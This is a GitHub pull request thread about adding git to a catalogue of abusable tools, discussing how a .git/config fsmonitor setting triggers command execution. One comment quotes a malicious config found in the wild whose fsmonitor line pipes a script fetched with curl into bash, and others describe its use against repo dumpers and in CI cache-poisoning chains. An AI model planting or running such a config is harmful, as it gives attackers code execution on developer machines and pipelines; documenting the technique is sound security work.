-
Notifications
You must be signed in to change notification settings - Fork 11
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add git #15
base: main
Are you sure you want to change the base?
Add git #15
Conversation
Of course ! Cheers |
TBH it came from other folks in the community that said they would not contribute if we did not adjust the license. I prefer to align with something that people are most comfortable, to make that a real community focal point. Thanks :) |
@ZanyMonk do you have concrete examples of how this can be exploited in practice in a pipeline by a threat actor ?
|
I've came across the following example on an exposed [core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
fsmonitor = "bash -c 'curl -s https://[redacted]/static/img/fickdich.js | bash'"
[user]
email = [redacted] If you download this file on your host (as well as its whole Also, using This is clearly a footgun, targetted against hackers who would eventually try and dump the repo with tools such as git-dumper (most of those tools use This could also be used as a gadget, within a bigger exploit chain. Say you can write somewhat arbitrary files but you can't execute, then you could eventually use this method to gain command execution. I think this part could be useful in the context of a pipeline/supply chain attack, but I may be wrong ! |
This is definitely a useful gadget in a CI/CD scenario with cache poisoning where there is a call to git checkout after a cache restore step. For GitHub Actions at least, a poisoned cache is arbitrary file write. |
Hey @AdnaneKhan. Sorry I just saw this now. We were discussing internally the other about accepting the PR but adding some caveats and more concrete realistic scenarios. The easiest that comes to mind was a tarball containing of .git followed by some git command. But i really like your idea. |
Add
git
tool and an example usingfsmonitor
.